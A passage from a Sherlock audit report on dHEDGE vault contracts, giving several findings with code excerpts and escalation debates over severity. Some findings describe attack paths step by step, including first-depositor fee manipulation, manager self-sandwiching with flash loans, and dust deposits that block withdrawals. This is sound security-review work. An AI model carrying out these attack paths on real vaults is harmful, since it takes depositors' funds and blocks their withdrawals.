Described issue still requires having access to a whitelisted wallet. This would be the same as the whitelisted address simply investing with other people's money. Issue should be low.

sherlock-admin3

> Escalate
>
> Described issue still requires having access to a whitelisted wallet. This would be the same as the whitelisted address simply investing with other people's money. Issue should be low.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santipu03

The README specifies the following:

> Can set vault to be public (anyone can deposit) or private (managers chooses who can invest).

But that statement isn't true because, in the current implementation, anyone can be an investor in a private Vault by simply transferring the shares between addresses.

Given that this issue is breaking the expected functionality stated in the README, it should warrant MEDIUM severity according to the Sherlock guidelines:

> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity. High severity will be applied only if the issue falls into the High severity category in the judging guidelines.

WangSecurity

I agree with the comment above, even though the impact is not significant, it breaks the statement in the README. Hence, it should be assigned medium severity.

Planning to reject the escalation and leave the issue as it is.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: rejected

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/955

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-2: Lack of slippage parameters on deposits

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/9

The protocol has acknowledged this issue.

Found by

santipu_

Summary

The lack of slippage parameters on deposits will allow minting fewer shares than expected if prices have changed between the time the user sends the transaction and when the transaction gets included in a block.

Vulnerability Detail

When a user makes a deposit in a Vault, the `_depositFor` first calculates the amount in USD that represents that deposit. Then, it uses a formula to calculate the shares to mint for that user making the deposit:

$$liquidityMinted := usdAmount \times \frac{totalSupply}{totalAssets} \times (1 - entryFee)$$

**The names of the variables may be different on the code but the underlying formula is the same.*

Just to clarify, `usdAmount` represents the deposit value in USD, and `totalAssets` represent the total value of the Vault in USD.

In the period between the user submitting a deposit transaction and that transaction getting included in a block, the prices could change and that can cause the user to receive fewer shares than expected. For example, when a Vault uses different tokens to deposit and to invest, it's possible that a change in value on one of those tokens will alter the shares minted to a user.

Imagine a Vault has almost all the assets invested in ETH and they accept stablecoins as deposit assets. In that case, if the price of ETH suddenly rises when the deposit transaction is still pending, the value of `totalAssets` will be bigger, thus resulting in a lower value for `liquidityMinted`.

Another example is if a Vault has almost all the assets in stablecoins and accepts ETH as a deposit asset, a sudden fall of the ETH price while a deposit transaction is pending will cause the minting of fewer shares than expected. In this case, the value of `usdAmount` will be lower, resulting in fewer shares minted.

Impact

Users depositing into Vaults will receive fewer shares than expected, thus causing a loss of funds.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L271

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to add a slippage parameter to all deposit functions so that a user can make a transaction revert if the received shares are less than expected.

Discussion

nevillehuang

@santipu03 Does this have a impact on amount of tokens to be received back (not in valuation)?

santipu03

@nevillehuang Yes sir, as my report describes.

The number of shares minted on a deposit (`liquidityMinted`) is based on the current value of the deposited amount (in USD) and the current total value of the Vault (also in USD). If the prices change between the time a user sends a deposit transaction and the time that transaction gets executed, the user will receive fewer shares than expected.

spacegliderrrr

Escalate

Even if the user receives less shares, he'll still receive shares with the same dollar value of their deposit, hence there is no loss. Issue should be invalid.

sherlock-admin3

> Escalate

> Even if the user receives less shares, he'll still receive shares with the same dollar value of their deposit, hence there is no loss. Issue should be invalid.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santipu03

The issue here is that the dollar value of the deposit can change in the time between the user sending the transaction and the time the transaction gets executed, which will result in fewer shares being minted to the user than expected.

For this reason, the deposit function needs a slippage parameter to ensure the users won't receive less value than expected for their tokens. It's quite similar to the slippage parameter on a swap.

spacegliderrrr

No, it has nothing in common with the slippage parameter in swaps.

In swaps, without slippage, your swap can result in getting significantly less dollar value in return (in fact up to 100% loss)

In this case, even if some sort of slippage protection is applied, no matter whether the transaction succeeds or not, you'll have the exact same dollar value in the end. In no case a loss can occur

santipu03

When a user makes a swap, the slippage parameter is there to protect the user against:

- Pool manipulation (MEV)
- Sudden price movements

In this case, there's no pool manipulation, but is possible that a sudden price movement can happen and will be harmful for the user. That's why the user needs a slippage parameter, to get protected against price movements that can result in fewer shares minted than expected.

When a user is about to make a swap and there's a big price drop, technically the user will always receive the same dollar value based on the current prices, but those prices may be unexpected by the user, hence the slippage parameter.

WangSecurity

To clarify, for example we have a vault with vault token V. The deposit asset is ETH. For example, 1 ETH is 3000 USD. Hence, if we submit the transaction and it gets executed instantly the amount of token V will be calculated on 1 ETH == 3000 USD.

But in the other case, if after submitting the transaction and **before** it actually goes through ETH price drops to 2500 USD, then the final amount of token V will be calculated on 1 ETH == 2500 USD, so the user will receive less token V, even though they've provided the same number of ETH (1), correct?

As I understand, in this case there is no manipulation, no issue in calculation, it's just how assets work (price can increase/decrease at any time), correct?

If it happens, how quick can the depositor withdraw their funds back to ETH? Is there any time lock?

santipu03

> As I understand, in this case there is no manipulation, no issue in calculation, it's just how assets work (price can increase/decrease at any time), correct?

There's no manipulation but the user is vulnerable to sudden price movements that will cause a loss of funds for him. The user may be willing to invest in the Vault as long as the price of ETH is 3000 USD but not if the price falls to 2500 USD.

I know that past judgments aren't a source of truth, but usually, issues with slippage caused by price movements have been accepted in Sherlock like this one, which is pretty similar.

> If it happens, how quick can the depositor withdraw their funds back to ETH? Is there any time lock?

There's indeed a timelock in which the users cannot withdraw their funds from the Vault, and currently, that lock is set at 1 day.

WangSecurity

I agree with the message above. And the scenario in the shared issue also applies here. Moreover, the time lock wouldn't allow to instantly withdraw funds. Planning to reject the escalation and leave the issue as it is.

spacegliderrrr

@WangSecurity Even if we disregard the fact that such high fluctuation in price is highly unlikely, in the case of a price drop in ETH to $2,500, regardless of whether the transaction executes, user will always have $2,500 in value (either in eth or vault token).

Given that a loss of funds is not possible in any scenario, how could this be deemed Medium severity?

WangSecurity

But in case if the user wanted to deposit $3000, but due to price drop they deposited $2500. After a day time lock for withdrawals the ETH price is back at $3000, the user tries to withdraw, will they get these $3000 or $2500?

On the other hand, if they wanted to deposit $2500 and there's a sharp price increase and they deposited $3000, wouldn't it result in them minting a more shares, essentially gaining larger share portion?

santipu03

> But in case if the user wanted to deposit $3000, but due to price drop they deposited $2500. After a day time lock for withdrawals the ETH price is back at $3000, the user tries to withdraw, will they get these $3000 or $2500?

In our example where the Vault is only holding assets pegged to USD, the user will only get the $2500, so the user will end up with less ETH than at the start, losing $500.

> On the other hand, if they wanted to deposit $2500 and there's a sharp price increase and they deposited $3000, wouldn't it result in them minting a more shares, essentially gaining larger share portion?

That's also correct.

WangSecurity

So I believe in a scenario of a flash crash, it's indeed an issue. The user will get shares equal to $2500 and when the time lock of one day passes and the flash crash is arbitraged, the user ends up with fewer shares. Additionally, in the case of a spike, by the time it's arbitraged back to the normal price, the user will remain a larger position. Hence, I believe it's sufficient for medium severity, even though such scenario is "very unlikely".

The decision remains the same, planning to reject the escalation and leave the issue as it is.

WangSecurity

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: rejected

Issue M-3: Incorrect implementation of the slippage parameter on withdrawals

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/10

The protocol has acknowledged this issue.

Found by

carrotsmuggler, santipu_

Summary

There's a slippage parameter on withdrawals that allows users to set a tolerance value on the difference between the owned assets and the actual received assets. However, this slippage parameter is wrongly implemented and will cause functions to revert even when the slippage doesn't surpass the tolerance set by the user.

Vulnerability Detail

Each time a user wants to withdraw from the Vault, it receives the underlying assets pro-rata to that user's ownership of the Vault. Given that some underlying assets are deposited in protocols to earn yield (e.g. Aave), withdrawing them will cause some slippage because there are some swaps involved and it depends on the current prices of the assets.

For the above reason, there's a slippage parameter in the withdrawal functions that allows users to specify their tolerance to slippage. However, this slippage parameter is wrongly implemented because it's checked against each individual asset withdrawn, instead of being checked against the final value withdrawn.

Here's the withdrawal function, which calls the function `_withdrawProcessing` for each asset to be withdrawn, passing the slippage parameter:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L373

```
      function _withdrawTo(
        address _recipient,
        uint256 _fundTokenAmount,
>>      uint256 _slippageTolerance
      ) internal nonReentrant whenNotFactoryPaused whenNotPaused {
        // ...

        for (uint256 i = 0; i < _supportedAssets.length; i++) {
```

```
          (address asset, uint256 portionOfAssetBalance, bool
↪  externalWithdrawProcessed) = _withdrawProcessing(
            _supportedAssets[i].asset,
            _recipient,
            portion,
>>          _slippageTolerance
          );

          // ...
        }

        // ...
      }
```

And at the end of the `_withdrawProcessing`, it checks if the slippage is higher than the tolerance allowed by the user:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L464

```
  function _withdrawProcessing(
    address asset,
    address to,
    uint256 portion,
    uint256 slippageTolerance
  )
    internal
    returns (
      address, // withdrawAsset
      uint256, // withdrawBalance
      bool externalWithdrawProcessed
    )
  {
    // ...

      // Ensure that actual value of tokens transferred is not less than the
↪  expected value, corrected by allowed tolerance
>>    require(
>>      IPoolManagerLogic(poolManagerLogic).assetValue(withdrawAsset,
↪  withdrawBalance) >=
>>        params.expectedWithdrawValue.mul(10_000 -
↪  slippageTolerance).div(10_000),
        "high withdraw slippage"
      );
    }

    return (withdrawAsset, withdrawBalance, externalWithdrawProcessed);
```


```
    }
```

However, by checking the slippage on each withdrawn asset instead of the final withdrawn amount as a whole, some scenarios will arise where a withdrawal gets reverted due to slippage even if the final slippage isn't actually higher than the tolerance value set by the user.

For example, a user wants to withdraw from a Vault and set a maximum slippage of 2%. The Vault has 2 assets equally split, some WETH and a position in Aave. The withdrawal of WETH has a slippage of 0%, and the Aave withdrawal experiences a slippage of 3%. The slippage on the whole withdrawal results in 1.5% so that means that the withdrawal shouldn't revert because the allowed slippage is 2%. However, because the slippage is checked against each asset and not against the final withdrawn value, this withdrawal will actually revert because the slippage in Aave (3%) has been higher than the tolerance (2%).

Impact

DoS on withdrawals due to an incorrect implementation of the slippage parameter.

The withdrawal function is considered time-sensitive because the value received won't be the same depending on the time given that the overall value of the Aave position is based on the current token prices. Because of that, this issue should warrant medium severity according to the Sherlock guidelines.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L513

Tool used

Manual Review

Recommendation

In order to mitigate this issue, is recommended to check the slippage against the final amount withdrawn and not against each individual asset. Implementing this fix will solve the scenario described above where a withdrawal reverted even if the slippage was lower than the maximum allowed.

Discussion

nevillehuang

Sponsor comments:

> This was solely done for aave position withdrawals. no plans to use it for any other assets so far in its current form

santipu03

The issue described in my report is that checking the slippage parameter only against Aave withdrawals instead of checking it against the final amount withdrawn will cause an unexpected revert in some scenarios:

> For example, a user wants to withdraw from a Vault and set a maximum slippage of 2%. The Vault has 2 assets equally split, some WETH and a position in Aave. The withdrawal of WETH has a slippage of 0%, and the Aave withdrawal experiences a slippage of 3%. The slippage on the whole withdrawal results in 1.5% so that means that the withdrawal shouldn't revert because the allowed slippage is 2%. However, because the slippage is only checked against Aave withdrawals and not against the final withdrawn value, this withdrawal will actually revert because the slippage in Aave (3%) has been higher than the tolerance (2%).

When the user sets the slippage parameter to 2%, the withdrawal is expected to be successfully processed if the slippage is lower than 2%. However, in the current implementation, the transaction will revert even if the final slippage incurred is less than 2%, which is incorrect.

I reported this issue because its impact is a temporary DoS on withdrawals, which is unacceptable as per the README:

> Depositor under any circumstances should be able to withdraw funds they've invested according to the value of their vault shares given that no lock up is applied

Moreover, I believe the sponsor's comment may invalidate duplicate #44 because that report is based on the assumption that the slippage parameter will be checked against more assets than Aave withdrawals, which is not true for the current state of the codebase.

On the other hand, even on the current codebase, my reported issue will still happen because some withdrawals will revert even if the incurred slippage is lower than the one specified by the user.

Issue M-4: First depositor can effectively disable the performance fee

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/12

Found by

santipu_

Summary

The manager of a Vault can set a performance fee, which will be collected if the overall vault tokens have an appreciated price beyond the previous high water mark. However, the first depositor on a Vault can manipulate that high watermark and set it to a value that will never be reached, effectively disabling the performance fee.

Vulnerability Detail

Each time a deposit or withdrawal happens on the Vault, the fees are minted to the manager, including the performance fee. This will happen at `_mintManagerFee`, which will calculate the fee to mint in `_availableManagerFee`:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L729

```
function _mintManagerFee() internal returns (uint256 fundValue) {
  // ...

  uint256 available = _availableManagerFee(
    fundValue,
    tokenSupply,
    performanceFeeNumerator,
    managerFeeNumerator,
    managerFeeDenominator
  );

  // ...
}
```

In the `_availableManagerFee` function, the performance fee will be calculated only if the current token price is higher than the high watermark for the token price (`tokenPriceAtLastFeeMint`).

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L694

```
  function _availableManagerFee(
    uint256 _fundValue,
    uint256 _tokenSupply,
    uint256 _performanceFeeNumerator,
    uint256 _managerFeeNumerator,
    uint256 _feeDenominator
  ) internal view returns (uint256 available) {
    if (_tokenSupply == 0 || _fundValue == 0) return 0;

    uint256 currentTokenPrice = _fundValue.mul(10 ** 18).div(_tokenSupply);

    if (currentTokenPrice > tokenPriceAtLastFeeMint) {
>>    available = currentTokenPrice
        .sub(tokenPriceAtLastFeeMint)
        .mul(_tokenSupply)
        .mul(_performanceFeeNumerator)
        .div(_feeDenominator)
        .div(currentTokenPrice);
    }

    // ...
  }
```

When the Vault is first deployed, the first depositor can manipulate the value of `tokenPriceAtLastFeeMint` to set it at a value high enough so that the token price will never reach it, effectively disabling the performance fee. The steps to execute the attack are the following:

1. Deposit little value on the Vault, minting a low amount of shares (e.g. 1e8)
2. Donate some value directly to the Vault (e.g. 1 DAI)
3. Call `mintManagerFee`, which will set `tokenPriceAtLastFeeMint` at the current token price
    - The token price is calculated as `fundValue * 1e18 / totalSuppply`, so the resulting token price in this scenario will be 1e28 (`1e18 * 1e18 / 1e8`).
4. After the token price has been stored, withdraw all funds (after the cooldown)
5. Finally, deposit a normal amount of tokens (e.g. 10 DAI), this will set the current token price at 1e18.

After this attack sequence, the token price is established at 1e18 for the next users to come, but the high watermark (`tokenPriceAtLastFeeMint`) has been set at 1e28. This means that in order for the manager to ever collect a performance fee, the

token price should be multiplied by 10^10 times (literally 10 billion times), which is not realistic at all.

Impact

The first depositor of a Vault can disable the performance fee forever, which translates to a loss of fees for the Vault's manager.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L703

Tool used

Manual Review

Recommendation

In order to solve this issue, is recommended to reset the high water mark (`tokenPriceAtLastFeeMint`) each time the Vault is completely emptied:

```
  function _withdrawTo(
    address _recipient,
    uint256 _fundTokenAmount,
    uint256 _slippageTolerance
  ) internal nonReentrant whenNotFactoryPaused whenNotPaused {
    require(lastDeposit[msg.sender] < block.timestamp, "can withdraw shortly");
    require(balanceOf(msg.sender) >= _fundTokenAmount, "insufficient balance");
    require(_slippageTolerance <= 10_000, "invalid tolerance");

    // Scoping to avoid "stack-too-deep" errors.
    {
      // Calculating how much pool token supply will be left after withdrawal and
      // whether or not this satisfies the min supply (100_000) check.
      // If the user is redeeming all the shares then this check passes.
      // Otherwise, they might have to reduce the amount to be withdrawn.
      uint256 supplyAfter = totalSupply().sub(_fundTokenAmount);
      require(supplyAfter >= 100_000 || supplyAfter == 0, "below supply
↪   threshold");
    }

    // calculate the exit fee
    uint256 fundValue = _mintManagerFee();

    // calculate the proportion
```

```
    uint256 portion = _fundTokenAmount.mul(10 ** 18).div(totalSupply());

+   if (portion == 1e18) tokenPriceAtLastFeeMint = 1e18;

    // ...
  }
```

Discussion

nevillehuang

Seems Invalid, the minimum shares to mint is 100_000 so this attacks seems wrongly described.

santipu03

The attack path described in the report mints 1e8 shares (100_000_000), which is higher than 100_000 so the transaction won't revert.

I believe the issue is quite simple but I can send a PoC if needed.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/947/files

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-5: Manager can steal up to 10% of the Vault's funds in one transaction due to slippage

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/13

The protocol has acknowledged this issue.

Found by

carrotsmuggler, santipu_

Summary

The manager of a Vault can use the **1Inch** protocol to swap tokens, but some checks prevent the manager from taking too much slippage on those swaps. However, the slippage checker currently allows the manager to steal up to 10% of the Vault's funds daily.

Vulnerability Detail

When a Vault's manager wants to perform a swap using **1Inch**, the contract guard `OneInchV6Guard` makes some checks to ensure that the manager doesn't steal any funds in the swapping process. One of those checks is done by calling the contract `SlippageAccumulator`, which calculates the slippage accumulated of that Vault's swaps and reverts the transaction if the accumulated slippage is above some maximum value.

Here's the main snippet that checks that the slippage isn't too high:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/utils/SlippageAccumulator.sol#L94-L101

```
if (dstAmount < srcAmount) {
  uint128 newSlippage =
↪   srcAmount.sub(dstAmount).mul(SCALING_FACTOR).div(srcAmount).toUint128();

  uint128 newCumulativeSlippage = (
    uint256(newSlippage).add(getCumulativeSlippageImpact(swapData.poolManagerLog
↪   ic))
  ).toUint128();

  require(newCumulativeSlippage < maxCumulativeSlippage, "slippage impact
↪   exceeded");
```

In the `SlippageAccumulator` contract, there are two key values set by the dHEDGE admins that determine if a swap is valid based on the slippage:

1. **maxCumulativeSlippage**: This is the maximum cumulative trade slippage within a period.
2. **decayTime**: This is the decay time for the accumulated slippage. E.g. If a swap has 5% slippage, it will accumulate until the decay time has passed.

Currently, the deployed SlippageAccumulator contract has the following values for the mentioned variables:

1. **maxCumulativeSlippage**: 10%
2. **decayTime**: 1 day

With these values, a manager of a Vault can take a maximum of 10% of slippage on all swaps in a Vault every 24 hours. This means that each day, the manager can make a swap on the Vault allowing 10% of slippage at most.

With this configuration, a manager can self-sandwich a Vault's swap to extract up to 10% of the funds used for the swap. The attack sequence would look as follows:

1. [*Frontrun*] The manager uses his address to take a flash loan and make a huge swap in some Uniswap pool to unbalance it.
2. The manager uses all the Vault's funds to make a swap in the same uniswap pool allowing 10% of slippage.
3. [*Backrun*] The manager uses the funds from the first transaction to reverse the swap in the pool, pocketing the 10% slippage taken by the Vault.
4. The manager returns the flash loan with the profits.

**All these steps will happen in a bundle so that the attack is executed in the same block.*

With this sequence, the manager can steal up to 10% of the Vault's funds in a single block, and this attack can be repeated every 24 hours. This means that in a week, a manager can steal up to 65.13% of the Vault's funds.

Impact

This issue breaks a restriction stated in the README:

> Manager or trader under any circumstances should not be able to take out depositors funds put in the vaults they manage.

The Vault's manager can steal up to 10% of the Vault's funds daily, 65.13% weekly. This attack doesn't need any external conditions so I think it warrants high severity.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/utils/SlippageAccumulator.sol#L88

Tool used

Manual Review

Recommendation

To mitigate this issue I believe the best option is to create a **commit-reveal** scheme for swaps. This will allow some time for the Vault's users to decide if the incoming swap may be malicious or not, allowing them to exit the Vault if necessary.

Discussion

nevillehuang

Sponsor comments:

> The code explicitly defines this. The nature of these flexible vaults is that there will be slippage on trades. At best the manager can be limited on slippage impact.

santipu03

I sent this issue given that the README explicitly specifies the following restriction:

> Manager or trader under any circumstances should not be able to take out depositors funds put in the vaults they manage.

Therefore, this issue should be valid according to the current Sherlock guidelines:

> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity. High severity will be applied only if the issue falls into the High severity category in the judging guidelines.

Given that the manager can trigger this attack at any moment without any restriction or condition and steal up to 10% of the Vault's value every 24 hours, I believe this issue warrants high severity according to Sherlock's rules:

> Definite loss of funds without (extensive) limitations of external conditions.

spacegliderrrr

Escalate

Issue should be invalid. In order to mitigate the issue, the team has introduced `slippageAccumulator` which limits the max slippage that can occur within trades for the day. It's up to dHedge's team to decide on what would be an appropriate value which would not limit pool operability. The fact that they've currently decided on 10% is a design decision. A fix is not even needed, as they can change the value at any time.

sherlock-admin3

> Escalate
>
> Issue should be invalid. In order to mitigate the issue, the team has introduced `slippageAccumulator` which limits the max slippage that can occur within trades for the day. It's up to dHedge's team to decide on what would be an appropriate value which would not limit pool operability. The fact that they've currently decided on 10% is a design decision. A fix is not even needed, as they can change the value at any time.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

santipu03

This issue is quite straightforward:

- README states that managers **under any circumstance** cannot take out depositors' funds from the Vaults they manage.
- The current implementation of the Vault allows the manager to steal 10% of the Vault's funds every 24 hours (current live values).
- Therefore, the issue should be valid according to the Sherlock rules.

spacegliderrrr

Why would the live values matter in this case, when they can be changed at any time? With proper admin configuration, issue does not exist. Low at best.

santipu03

Take a look at Sherlock's guidelines:

> (External) Admin trust assumptions: When a function is access restricted, only values for specific function variables mentioned in the README can be taken into account when identifying an attack path.
>
> If no values are provided, the (external) admin is trusted to use values that will not cause any issues.
>
> Note: if the attack path is possible with any possible value, it will be a valid issue.
>
> Exception: It will be a valid issue if the attack path is based on a value currently live on the network to which the protocol will be deployed

In this case, the 10% allowed slippage was a live value deployed in the Optimism blockchain, which makes this issue valid.

WangSecurity

Yep, the loss here is limited to slippage set by dHedge, but it's explicitly stated in the README that the manager shouldn't be able to steal any funds under any circumstances. Hence, I believe the issue should remain as it is.

Planning to reject the escalation.

etherSky111

This issue should be at most medium.

- The protocol team allowed 10% as accepted slippage.
- The sponsor didn't accept this issue. (even though this is high risk)
- There is no proper solution. If the protocol team changes this slippage to 1%, the risk still exists according to this report. Because, the manager can steal 1M from 100M. (This is huge) On the other side, due to this low slippage, many swaps will be reverted. I believe the live slippage value are most reasonable value from the sponsor side. So they disputed this issue.

santipu03

I get that the protocol team considers this as a design decision, however, they've never communicated that to the competitors during the contest.

Based on the information available during the contest, this issue warrants high severity because a manager can steal up to 10% of the Vault's value in a single transaction.

> Definite loss of funds without (extensive) limitations of external conditions.

etherSky111

As I said, it's difficult to choose reasonable slippage value. What do you think the perfect slippage is? If sponsor thought that this is definite loss of funds, they should've confirmed this. I agree this is valid and deserves medium.

WangSecurity

Without the statement in the README that the sponsor shouldn't be able to steal any funds under any circumstance, I would judge it as invalid, since the loss is limited to slippage, set by the admin of the protocol. Hence, the loss limited to slippage is acceptable (since its the purpose is to limit the losses). But we have the statement in the README that is clearly broken here, thus, I believe medium severity is more appropriate.

Since the escalation asked to invalidate the issue, I'm planning to reject it, but decrease the severity to medium.

santipu03

According to the Sherlock rules, an issue that contradicts a README statement can be classified as high severity if it meets the criteria for high severity:

> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity. High severity will be applied only if the issue falls into the High severity category in the judging guidelines.

Isn't stealing 10% of a Vault's value in one transaction a high-severity issue? Additionally, the manager can steal 10% more of the Vault's value every 24 hours.

> Definite loss of funds without (extensive) limitations of external conditions.

The only limitation on this issue is the slippage value set by the protocol admins, which is currently 10% on the Optimism blockchain (read the value of `maxCumulativeSlippage`).

> Exception: It will be a valid issue if the attack path is based on a value currently live on the network to which the protocol will be deployed.

Since the 10% slippage is currently live on the blockchain, it is considered a valid value. This allows the managers of all Vaults to steal up to 10% of the Vault's value every 24 hours, which IMHO it should be considered a high-severity issue.

I look forward to hearing your perspective on this matter @WangSecurity.

etherSky111

```
Hence, the loss limited to slippage is acceptable (since its the purpose is to
↪  limit the losses)
```

Clear.

WangSecurity

The main problem here is that the loss is constrained with slippage protection set by the protocol admins. Normally, I would say it's an acceptable loss and the issue is invalid. Hence, the issue is only valid due to the following statement in the README:

> Manager or trader under any circumstances should not be able to take out depositors funds put in the vaults they manage

Therefore, this issue is only valid due to breaking the invariant from the README which warrants medium severity based on the rules.

The decision remains the same, reject the escalation and decrease the severity to medium.

santipu03

We've already established that this issue is valid given that it's breaking a statement from the README, but how can it be medium severity if the loss is 10% of a Vault's total value? Isn't stealing 10% of a Vault's total value a "definite loss of funds without extensive limitations"?

Currently, the TVL on dHEDGE vaults is $88M. If all managers (which are NOT TRUSTED) trigger this bug, they could wipe out $8.8M in just one block.

The only argument to decrease the severity is that the loss is constrained by an admin value. **However, according to the Sherlock rules, the live value (10%) must be considered a valid value.**

Respectfully, sir, I don't understand the decision to downgrade the severity.

WangSecurity

The problem is that the manager can steal the funds up to the allowed slippage. Slippage is there to limit the loss. Hence, the loss up to slippage is an acceptable risk, cause its idea is to define the **acceptable level of loss**. Thus, as I've said above, without the invariant of the README the severity of the issue is low. Only because of broking an invariant from the README, this issue is valid, which warrants medium severity. That's the reason for making it medium severity severity, because the actual severity is low, but it breaks the protocol invariant, which assigns the medium severity.

Planning to reject the escalation, but downgrade the severity to medium.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: rejected

rashtrakoff

We made slippage accumulator due to a report we received on Immunefi. We decided that this is the only practical solution. Commit-reveal schemes and any other method essentially requries introduction of a delay for the users to verify a trade's impact. This isn't something user's do on a daily basis. The idea behind dHEDGE vaults are that it makes investment in strategies simple.

The 10% that we set is intentional. Mostly due to the impact Toros leverage tokens may incur on chains with low liquidity. We do monitor high value vaults for slippage and that's the best we can do honestly.

Issue M-6: Precision loss at `AaveLendingPoolAssetGuard` will cause a DoS on withdrawals

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/26

Found by

KupiaSec, ge6a, santipu_

Summary

When a dHEDGE Vault has a tiny position on Aave and a withdrawal is processed, the Vault may try to withdraw or repay 0 tokens on Aave, resulting in a revert.

Vulnerability Detail

When a Vault has some funds invested in Aave and a user initiates a withdrawal, the Vault is going to send that user a pro-rated share of the underlying assets, which will include a portion of the Aave position. For example, suppose a user owns 50% of the Vault and initiates a full withdrawal. In that case, the Vault will send that user half of all underlying assets, including half of the current Aave positions.

When the Vault only has collateral on Aave and no borrows, the function `AaveLendingPoolAssetGuard::_withdrawAndTransfer` will be in charge of calculating the pro-rated share to withdraw and will craft the withdrawal transaction on Aave:

```
  function _withdrawAndTransfer(
    address pool,
    address to,
    uint256 portion
  ) internal view returns (MultiTransaction[] memory transactions) {
>>  (address[] memory collateralAssets, uint256[] memory amounts) =
↪   _calculateCollateralAssets(pool, portion);
    transactions = new MultiTransaction[](collateralAssets.length * 2);

    uint256 txCount;
    for (uint256 i = 0; i < collateralAssets.length; i++) {
      transactions[txCount].to = aaveLendingPool;
      transactions[txCount].txData = abi.encodeWithSelector(
        bytes4(keccak256("withdraw(address,uint256,address)")),
        collateralAssets[i], // receiverAddress
        amounts[i],
        pool // onBehalfOf
      );
      txCount++;
```

```
      transactions[txCount].to = collateralAssets[i];
      transactions[txCount].txData = abi.encodeWithSelector(
        bytes4(keccak256("transfer(address,uint256)")),
        to, // recipient
        amounts[i]
      );
      txCount++;
    }
  }
```

The above function will call `_calculateCollateralAssets`, which will calculate the collateral on Aave that is owned by the Vault, and the portion to withdraw:

```
  function _calculateCollateralAssets(
    address pool,
    uint256 portion
  ) internal view returns (address[] memory collateralAssets, uint256[] memory
↪   amounts) {
    // ...
    for (uint256 i = 0; i < length; i++) {
      (aToken, , ) = IAaveProtocolDataProvider(aaveProtocolDataProvider).getRese
↪   rveTokensAddresses(supportedAssets[i].asset);

      if (aToken != address(0)) {
        amounts[index] = IERC20(aToken).balanceOf(pool);
        if (amounts[index] != 0) {
          collateralAssets[index] = supportedAssets[i].asset;
>>        amounts[index] = amounts[index].mul(portion).div(10 ** 18);
          index++;
        }
      }
    }

    // ...
  }
```

The amount to withdraw will be calculated as the total collateral multiplied by the portion to withdraw. This means that a Vault holding 100 WETH as collateral in Aave will give 1 WETH to a user who wants to withdraw 1% of the total Vault's liquidity.

The issue here is that when the Vault has tiny amounts of collateral on Aave, the resulting amount to withdraw may be rounded down to zero, causing the whole transaction to revert. For example, if an attacker deposits 1 wei of `LINK` on Aave on behalf of the Vault, the resulting amount to withdraw will be rounded down to zero, and Aave will revert the transaction here:

https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/libraries/logic/ValidationLogic.sol#L101

```
  function validateWithdraw(
    DataTypes.ReserveCache memory reserveCache,
    uint256 amount,
    uint256 userBalance
  ) internal pure {
>>  require(amount != 0, Errors.INVALID_AMOUNT);

    // ...
  }
```

Moreover, a similar scenario will happen when the Vault has borrowed tiny amounts of debt. When a withdrawal is initiated and the Vault has some debt in Aave, it requests a flash loan to repay a portion of the debt to later withdraw a portion of the collateral and send it to the user that initiated the withdrawal.

The function `_calculateBorrowAssets` will get the debt that the Vault has on Aave and calculate the portion to repay:

```
      if (variableDebtToken != address(0)) {
        amounts[index] = IERC20(variableDebtToken).balanceOf(pool);
        if (amounts[index] != 0) {
          borrowAssets[index] = supportedAssets[i].asset;
>>        amounts[index] = amounts[index].mul(portion).div(10 ** 18);
          interestRateModes[index] = 2;
          index++;
          continue;
        }
      }
```

When the Vault has a tiny amount of tokens as debt, the resulting amount to repay will be rounded down to zero and Aave will revert the transaction here:

https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/libraries/logic/ValidationLogic.sol#L330

```
  function validateRepay(
    DataTypes.ReserveCache memory reserveCache,
    uint256 amountSent,
    DataTypes.InterestRateMode interestRateMode,
    address onBehalfOf,
    uint256 stableDebt,
    uint256 variableDebt
